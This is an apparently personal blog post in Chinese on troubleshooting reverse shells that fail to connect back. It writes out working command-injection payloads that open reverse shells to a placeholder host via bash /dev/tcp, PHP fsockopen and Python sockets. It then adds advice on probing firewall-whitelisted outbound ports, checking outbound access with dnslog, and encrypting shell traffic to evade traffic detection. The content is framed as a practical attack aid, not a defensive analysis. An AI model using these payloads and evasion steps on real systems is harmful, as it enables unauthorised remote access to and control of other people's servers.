反彈shell不成功排查

小新07發表於2024-06-06

反彈不成功排查

今天遇到shell反彈不成功的問題,順便記下來

0.低許可權環境

  • /tmp寫入bash反彈指令碼執行

127.0.0.1| Echo ‘bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>/tmp/1.sh
127.0.0.1|bash /tmp/1.sh

  • php反彈shell

127.0.0.1| php -r '$sock=fsockopen("x.x.x.x",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

  • python反彈shell

127.0.0.1 |python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

1.命令存不存在

whereis nc bash python php exec perl ruby java telnet lua
檢視命令存不存在或者位置在哪

2.ping

ping一下dnslog看看出不出網

3.出網埠受限

目標伺服器網路邊界部署了防火牆,設定了出站規則,給出站的埠設定了白名單。
這裡只要埠屬於白名單內的即可,一般的話,DNS 的 53、HTTP 服務的預設埠 80、HTTPS 的 443 是三個最常見的出站埠,一般最有可能在白名單內,可一一嘗試。
當然如果白名單設定得很死,都不是常用埠的話,我們就得使用目標系統自帶的curl、telnet、wget等命令來進行出站埠探測。
80埠探測:
例如 curl www.baidu.com:80
有正確回顯代表可通80,沒有或者等待超時代表不通80埠。
可能遇到目標許可權低,且curl、telnet、wget等這幾個可探測埠的命令都沒有,那麼可以使用如下命令來探測:
echo > /dev/tcp/www.baidu.com/80
如果瞬間執行完成代表可出80,如果執行後一直等待,那麼代表不出80.
53埠探測:

4.目標機器檢測流量

上線後掉了,說明可能存在流量檢測裝置,應該加密反彈shell流量

相關文章